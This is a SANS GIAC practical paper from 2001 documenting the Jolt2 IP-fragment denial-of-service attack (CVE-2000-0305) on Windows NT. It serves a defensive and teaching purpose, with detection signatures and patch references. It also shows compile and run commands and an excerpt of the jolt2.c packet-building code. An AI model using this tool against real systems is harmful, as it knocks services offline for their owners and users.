

Use offense to inform defense.
Find flaws before the bad guys do.

Copyright SANS Institute
Author Retains Full Rights

This paper is from the SANS Penetration Testing site. Reposting is not permitted without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Web App Penetration Testing and Ethical Hacking (SEC542)"
at <https://pen-testing.sans.org/events/>

GIAC LevelTwo course

Advanced Incident Handling and Hacker Exploits

Option 2 - Document an exploit, vulnerability or malicious program

Jolt2

Jasmir Beciragic
January 2001

Introduction

I choose to write about Jolt2 or "IP Fragment Re-assembly". The jolt2 or "IP Fragment Re-assembly" was released in May of 2000 by Phonix.

According to the Common Vulnerabilities and Exposures (CVE) CVE-2000-0305 (1), "Windows 95, Windows 98, Windows NT 4.0, Windows 2000, and Terminal Server systems allow a remote attacker to cause a denial of service by sending a large number of identical fragmented IP packets". The other operating systems or machines can also be damaged by this exploit like Cisco 26xx, Cisco 25xx, Cisco 4500, Cisco 36xx, Be/OS 5.0, Network Associates Gauntlet, Firewall-1 on Solaris ... (2).

In my practical assignment I tested exploit to Windows NT 4.0 and I will set focus on Windows NT 4.0.

1. Exploit Details

Name: jolt2 or "IP Fragment Re-assembly"

CVE: CVE-2000-0305

Variants: Jolt ICMP attack

Operating System: Windows 95, Windows 98, Windows 2000, Windows NT 4.0, and Terminal Server

Protocols/Services: Illegally fragmented ICMP ECHOs, illegally fragmented UDP packets

Brief Description: A denial of service attack that causes an NT machine to crash by sending a large number of identical fragmented IP packets.

2. Protocol Description

Jolt2 is a program that sends a large number of identical illegally fragmented ICMP Echo or illegally fragmented UDP packets.

TCP/IP protocols map to a four-layer model: Link interface, Network, Transport, and Application.

The Link interface layer is the base of the model and it is responsible for putting frames on the wire and pulling frames off the wire.

Network layer is responsible for addressing, packing and routing functions. Network layer consists of three protocols: Internet protocol (IP), Address Resolution Protocol (ARP) and Internet Control Message Protocol (ICMP). Internet protocol is responsible for addressing, routing packets between hosts and networks, fragmentation and re-assembly of packets. Address Resolution Protocol is used to obtain hardware addresses of hosts on the same physical layer. Internet Control Message Protocol sends messages and reports errors regarding the delivery of a packet.

Transport layer is responsible for providing communication between two hosts.

There are two protocols at the transport layer:

- Transmission control Protocol or TCP provides connection oriented communication, which means that TCP first establishes a session between two hosts before any data is exchanged. It is reliable communication for application.
- User datagram Protocol or UDP provides connectionless communication, which means that a session is not established between two hosts before exchanging of data, and does not guarantee that packet will be delivered.

Application layer is on the top of the model. This layer is where applications gain access to the network.

"Fragmentation is a process in which an IP datagram is broken into smaller pieces to fit the requirements of a given physical network. The reverse process is named re-assembly" (3). IP can handle fragmentation and re-assembly with a identification field, a flag MF (more fragment) and a Fragment offset field, in an IP header. The identification field uniquely identifies every packet. The More fragment flag has the next values:

- 0 - that is the last fragment of this datagram,
- 1 - this is not the last fragment.

The Fragment offset indicates the position of the fragment relative to the original IP payload. In the first fragment, this value is always zero.

To show fragmentation in practice I choose traces underneath. The first example indicates not fragmented ICMP packet and the second example indicates fragmented ICMP packets. Examples one and two are not showing the hole packets, but just part of them.

Example 1:

```
IP: ----- IP Header -----  
...  
IP: Total length   = 60 bytes  
IP: Identification = 46881  
IP: Flags         = 0X  
IP:   .0.. .... = may fragment  
IP:   ..0. .... = last fragment  
IP: Fragment offset = 0 bytes  
IP: Time to live  = 32 seconds/hops  
IP: Protocol      = 1 (ICMP)  
...  
ICMP: ----- ICMP header -----  
ICMP:  
ICMP: Type = 8 (Echo)  
ICMP: Code = 0  
...
```

Essential values from trace above, which are related to fragmentation are:

```
Identification   = 46881  
Total length    = 60  
More Fragments  = 0  
Fragment offset = 0
```

Example 2:

```
----- Packet 1 -----  
...  
IP: ----- IP Header -----  
IP: Total length   = 1500 bytes  
IP: Identification = 35362  
IP: Flags         = 2X  
IP:   .0.. .... = may fragment  
IP:   ..1. .... = more fragments  
IP: Fragment offset = 0 bytes  
IP: Time to live  = 32 seconds/hops  
IP: Protocol      = 1 (ICMP)  
...  
ICMP: ----- ICMP header -----  
ICMP:  
ICMP: Type = 8 (Echo)  
ICMP: Code = 0  
...  
----- Packet 2 -----  
...  
IP: ----- IP Header -----  
IP: Total length   = 1500 bytes
```

IP: Identification = 35362
IP: Flags = 2X
 IP: .0.. = may fragment
IP: ..1. = more fragments
IP: Fragment offset = 1480 bytes
 IP: Time to live = 32 seconds/hops
 IP: Protocol = 1 (ICMP)

...

----- Packet 3 -----

...

IP: ----- IP Header -----
 IP: Total length = 68 bytes
IP: Identification = 35362
IP: Flags = 0X
 IP: .0.. = may fragment
IP: ..0. = last fragment
IP: Fragment offset = 2960 bytes
 IP: Time to live = 32 seconds/hops
 IP: Protocol = 1 (ICMP)

...

Essential values from trace above, which are related to fragmentation are:

| | Packet 1 | Packet 2 | Packet 3 |
|------------------------|---------------|---------------|-----------|
| Identification | 35362 | 35362 | 35362 |
| Total Length | 1500-20*=1480 | 1500-20*=1480 | 68-20*=48 |
| More fragments | 1 | 1 | 0 |
| Fragment offset | 0 | 1480 | 2960 |

* - IP header

All three packets have the same identification 35362. The More fragment flag, for the first and second packet is 1 (more fragment) and third packet is 0 (last fragment). The Fragment offset, for the first packet, is 0 (first fragment) and then 1480 and 2960. This means that length of the packet 1 and packet 2 is 1480.

The buffer on the receiver's side looks like this:

| | | |
|------------|------------|-------------|
| 1480 bytes | 1480 bytes | 48 bytes |
|------------|------------|-------------|

3. Description of Variants

Older version of jolt2 is Jolt ICMP attack (4), which is also Denial of Service attack. Jolt ICMP attack causes denial of service in Windows 95 and Windows NT systems. CVE number is CAN-1999-0345.

One of the differences between jolt2 and Jolt ICMP attack is that jolt2 can't spoof source address, but Jolt ICMP attack can spoof source address. The other difference is Jolt ICMP attack sends only ICMP packets.

Additional Information:

http://members.tripod.com/html_editor/jolt.c
<http://www.winplanet.com/winplanet/reports/561/1/>
<http://www.securityfocus.com/templates/archive.pike?list=1&date=1997-06-28&msg=Pine.BSF.3.95q.970629163422.3264A-200000@apollo.tomco.net>
<http://members.nbci.com/ruscorp/text/pngjtech.txt>

4. How the Exploit Works (Detailed description)

The attacker sends the same IP packets (illegally fragmented ICMP ECHOs or illegally fragmented UDP packets) to the attacked machine.

As listed in (5) "the affected systems contain a flaw in the code that performs IP fragment re-assembly. If a continuous stream of fragmented IP datagrams with a particular malformation were sent to an affected machine, it could be made to devote most or all of its CPU ability to processing them. The data rate needed to completely deny service varies depending on the machine and network conditions, but in most cases even relatively moderate rate would suffice."

5. Diagram

An attacker (Linux), Windows NT 4.0 server and one WS are connected to a switch (see Figure 1). WS, which pings the server, is used to point denial of attack of the server.

© SANS Institute 2000 - 2002. All rights reserved. Author retains full rights.




Figure 1.

a. Attacker starts on command
`# ./jolt2 -s attacker server`

b. TCPDUMP on the attacker's machine shows next lines:

```
22:23:37.441693 attacker > server: (frag 1109:9@65520)
22:23:37.444247 attacker > server: (frag 1109:9@65520)
22:23:37.444412 attacker > server: (frag 1109:9@65520)
22:23:37.444563 attacker > server: (frag 1109:9@65520)
22:23:37.444713 attacker > server: (frag 1109:9@65520)
22:23:37.444860 attacker > server: (frag 1109:9@65520)
22:23:37.445011 attacker > server: (frag 1109:9@65520)
22:23:37.445161 attacker > server: (frag 1109:9@65520)
22:23:37.445311 attacker > server: (frag 1109:9@65520)
22:23:37.445459 attacker > server: (frag 1109:9@65520)
...
```

If an additional WS pings server under attack, a screen shows following lines:

Pinging server with 32 bytes of data:

```
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Request timed out.
```

Request timed out.
Request timed out.
Request timed out.
Request timed out.

...

- c. On the server, during attack, fragmented packets use 100 % of the CPU and temporarily stop performing useful work.

6. How to use the exploit

Compilation:

```
#cc -o jolt2 jolt2.c,
```

Running the program:

After compiling the program is ready to use. Depending on which command is used, the program sends ICMP or UDP packets.

Usage: ./jolt2 [-s src_addr] [-p port] dest_addr

Note: UDP used if a port is specified, otherwise ICMP

We can conclude that easiness of exploit's usage lays in these uncomplicated steps.

7. Signature of the attack

To illustrate the signature of the attack I used TCPDUMP (<http://www.tcpdump.org/>) and Sniffer Pro from Network Associates (<http://www.nai.com/>).

The following traces are following:

- ICMP -TCPDUMP (a)
- ICMP- Sniffer Pro (b)
- UDP - TCPDUMP (c)
- UDP - Sniffer Pro (d)

a. ICMP - TCPDUMP

```
22:07:11.442884 attacker > server: (frag 1109:9@65520)
                4500 001d 0455 1ffe ff01 190d xxxx xxxx
                xxxx xxxx 0800 0000 0000 0000 00
```

b. ICMP - Sniffer Pro

```
DLC: ----- DLC Header -----
DLC:
```


DLC: Frame 4 arrived at xx:xx:xx.xxxxx; frame size is 60 (003C hex) bytes.
DLC: Destination = Station 00600860F022
DLC: Source = Station 00902706578B
DLC: Ethertype = 0800 (IP)
DLC:

IP: ----- IP Header -----

IP:
IP: Version = 4, header length = 20 bytes
IP: Type of service = 00
IP: 000. = routine
IP: ...0 = normal delay
IP: 0... = normal throughput
IP: 0.. = normal reliability
IP: Total length = 29 bytes
IP: Identification = 1109
IP: Flags = 0X
IP: .0.. = may fragment
IP: ..0. = last fragment
IP: Fragment offset = 65520 bytes
IP: Time to live = 255 seconds/hops
IP: Protocol = 1 (ICMP)
IP: Header checksum = 190D (correct)
IP: Source address = [attacker]
IP: Destination address = [server]
IP: No options
IP:
IP: [26 bytes of data continuation of IP ident = 1109]
IP:

| ADDR | HEX | ASCII |
|-------|--|-------------|
| 0000: | 00 60 08 60 f0 22 00 90 27 06 57 8b 08 00 45 00 | .`ð"!W...E. |
| 0010: | 00 1d 04 55 1f fe ff 01 19 0d xx xx xx xx xx xx | ...U..... |
| 0020: | xx xx 08 00 00 00 00 00 00 00 00 00 00 00 00 00 | |
| 0030: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | |

c. UDP - TCPDUMP

```
22:08:28.406540 attacker > server: (frag 1109:9@65520)
      4500 001d 0455 1ffe ff11 18fd xxxx xxxx
      xxxx xxxx 04d7 0097 0009 0000 61
```

d. UDP - Sniffer Pro

DLC: ----- DLC Header -----

DLC:
DLC: Frame 20 arrived at xx:xx:xx.xxxxx; frame size is 60 (003C hex) bytes.
DLC: Destination = Station 00600860F022
DLC: Source = Station 00902706578B
DLC: Ethertype = 0800 (IP)
DLC:

```

IP: ----- IP Header -----
IP:
IP: Version = 4, header length = 20 bytes
IP: Type of service = 00
IP:   000. .... = routine
IP:   ...0 .... = normal delay
IP:   .... 0... = normal throughput
IP:   .... .0.. = normal reliability
IP: Total length = 29 bytes
IP: Identification = 1109
IP: Flags      = 0X
IP:   .0.. .... = may fragment
IP:   ..0. .... = last fragment
IP: Fragment offset = 65520 bytes
IP: Time to live = 255 seconds/hops
IP: Protocol   = 17 (UDP)
IP: Header checksum = 18FD (correct)
IP: Source address = [attacker]
IP: Destination address = [server]
IP: No options
IP:
IP: [26 bytes of data continuation of IP ident = 1109]
IP:

```

```

ADDR  HEX                                     ASCII
0000: 00 60 08 60 f0 22 00 90 27 06 57 8b 08 00 45 00 | .--0.....
0010: 00 1d 04 55 1f fe ff 11 18 fd xx xx xx xx xx xx | .....{y.p{y
0020: xx xx 04 f7 00 35 00 09 00 00 61 00 00 00 00 00 | .o.7...../.....
0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .....

```

The signatures of the attack are showed in the traces above and they are:

- Total length = 29 / 0x001d,
- Identification = 1109 / 0x0455,
- Last fragment = 0,
- Fragment offset = 65520 (8190) / 0x1ffe,
- Time to live = 255 / 0xff.

8. How to protect against it

To protect from the exploit patches have to be applied and they are available at the Microsoft:

- Windows 95

<http://download.microsoft.com/download/win95/update/8070/w95/EN-US/259728USA5.EXE>

- Windows 98

<http://download.microsoft.com/download/win98/update/8070/w98/EN-US/259728USA8.EXE>

- Windows NT 4.0 Workstation, Server and Server, Enterprise Edition:

<http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20829>

- Windows NT 4.0 Server, Terminal Server Edition:
<http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20830>
- Windows 2000 Professional, Server and Advanced Server:
<http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20827>

9. Source code/ Pseudo code

The source code can be found at (6) and the code is described as: "This is the proof-of-concept code for the Windows denial-of-service attack described by the Razor team (NTBugtraq, 19-May-00) (MS00-029). This code causes cpu utilization to go to 100%".

The below lines comes from jolt2.c:

```
...
pkt.ip.version = 4;
  pkt.ip.ihl = 5;
  pkt.ip.tot_len = htons(iplen + icmplen) + 40;
  pkt.ip.id = htons(0x455);
  pkt.ip.ttl = 255;
  pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
  pkt.ip.saddr = src_addr;
  pkt.ip.daddr = dst_addr;
  pkt.ip.frag_off = htons (8190);

  if (port)
  {
    pkt.proto.udp.source = htons(port|1235);
    pkt.proto.udp.dest = htons(port);
    pkt.proto.udp.len = htons(9);
    pkt.data = 'a';
  } else {
    pkt.proto.icmp.type = ICMP_ECHO;
    pkt.proto.icmp.code = 0;
    pkt.proto.icmp.checksum = 0;
  }
...

```

In the lines of the source code we can recognize some of the values mentioned in "Signature of the attack", for example identification, time to live, fragmentation offset. In the source code IP checksum is set to zero and it is illegal. In the traces showed in this assignment checksum is correct, because checksum is automatically computed by NIC.

10. Additional Information, Resources and References

1. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2000-0305>
2. <http://www.sans.org/infosecFAQ/jolt2.htm>
3. TCP/IP Tutorial and Technical Overview, Document Number GG24-3376-03, December 1992
4. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0345>
5. <http://www.microsoft.com/technet/security/bulletin/ms00-029.asp>
6. <http://home13.inet.tele.dk/kruse/jolt2.txt>
7. <http://www.microsoft.com/technet/security/bulletin/fq00-029.asp>
8. <http://packetstorm.securify.com/papers/general/jolt2.c-analysis.txt>

© SANS Institute 2000 - 2002, Author retains full rights.

Upcoming SANS Penetration Testing



Click Here to
{Get Registered!}



| | | | |
|--|---------------------------------|-----------------------------|----------------|
| Mentor Session AW - SEC542 | Oklahoma City, OK | Dec 19, 2018 - Feb 01, 2019 | Mentor |
| SANS Bangalore January 2019 | Bangalore, India | Jan 07, 2019 - Jan 19, 2019 | Live Event |
| SANS vLive - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling | SEC504 - 201901, | Jan 08, 2019 - Feb 14, 2019 | vLive |
| Mentor Session @ Work - SEC560 | Louisville, KY | Jan 10, 2019 - Mar 14, 2019 | Mentor |
| Mentor Session - SEC542 | Denver, CO | Jan 10, 2019 - Mar 14, 2019 | Mentor |
| SANS Threat Hunting London 2019 | London, United Kingdom | Jan 14, 2019 - Jan 19, 2019 | Live Event |
| SANS Amsterdam January 2019 | Amsterdam, Netherlands | Jan 14, 2019 - Jan 19, 2019 | Live Event |
| Cyber Threat Intelligence Summit & Training 2019 | Arlington, VA | Jan 21, 2019 - Jan 28, 2019 | Live Event |
| SANS Miami 2019 | Miami, FL | Jan 21, 2019 - Jan 26, 2019 | Live Event |
| SANS Las Vegas 2019 | Las Vegas, NV | Jan 28, 2019 - Feb 02, 2019 | Live Event |
| SANS Security East 2019 | New Orleans, LA | Feb 02, 2019 - Feb 09, 2019 | Live Event |
| Community SANS Minneapolis SEC504 | Minneapolis, MN | Feb 04, 2019 - Feb 09, 2019 | Community SANS |
| Security East 2019 - SEC542: Web App Penetration Testing and Ethical Hacking | New Orleans, LA | Feb 04, 2019 - Feb 09, 2019 | vLive |
| Security East 2019 - SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling | New Orleans, LA | Feb 04, 2019 - Feb 09, 2019 | vLive |
| SANS SEC504 Stuttgart 2019 (In English) | Stuttgart, Germany | Feb 04, 2019 - Feb 09, 2019 | Live Event |
| Mentor Session - SEC560 | Fredericksburg, VA | Feb 06, 2019 - Mar 20, 2019 | Mentor |
| Mentor Session - SEC560 | Boca Raton, FL | Feb 07, 2019 - Feb 22, 2019 | Mentor |
| SANS Anaheim 2019 | Anaheim, CA | Feb 11, 2019 - Feb 16, 2019 | Live Event |
| SANS London February 2019 | London, United Kingdom | Feb 11, 2019 - Feb 16, 2019 | Live Event |
| SANS Northern VA Spring- Tysons 2019 | Vienna, VA | Feb 11, 2019 - Feb 16, 2019 | Live Event |
| Mentor Session: SEC560 | Columbia, MD | Feb 16, 2019 - Mar 23, 2019 | Mentor |
| SANS Zurich February 2019 | Zurich, Switzerland | Feb 18, 2019 - Feb 23, 2019 | Live Event |
| SANS Scottsdale 2019 | Scottsdale, AZ | Feb 18, 2019 - Feb 23, 2019 | Live Event |
| SANS New York Metro Winter 2019 | Jersey City, NJ | Feb 18, 2019 - Feb 23, 2019 | Live Event |
| SANS Dallas 2019 | Dallas, TX | Feb 18, 2019 - Feb 23, 2019 | Live Event |
| SANS Secure Japan 2019 | Tokyo, Japan | Feb 18, 2019 - Mar 02, 2019 | Live Event |
| SANS Riyadh February 2019 | Riyadh, Kingdom Of Saudi Arabia | Feb 23, 2019 - Feb 28, 2019 | Live Event |
| Mentor Session - SEC504 | Vancouver, BC | Feb 23, 2019 - Mar 23, 2019 | Mentor |
| SANS Brussels February 2019 | Brussels, Belgium | Feb 25, 2019 - Mar 02, 2019 | Live Event |
| SANS Reno Tahoe 2019 | Reno, NV | Feb 25, 2019 - Mar 02, 2019 | Live Event |
| Mentor Session - SEC542 | Seattle, WA | Feb 26, 2019 - Apr 02, 2019 | Mentor |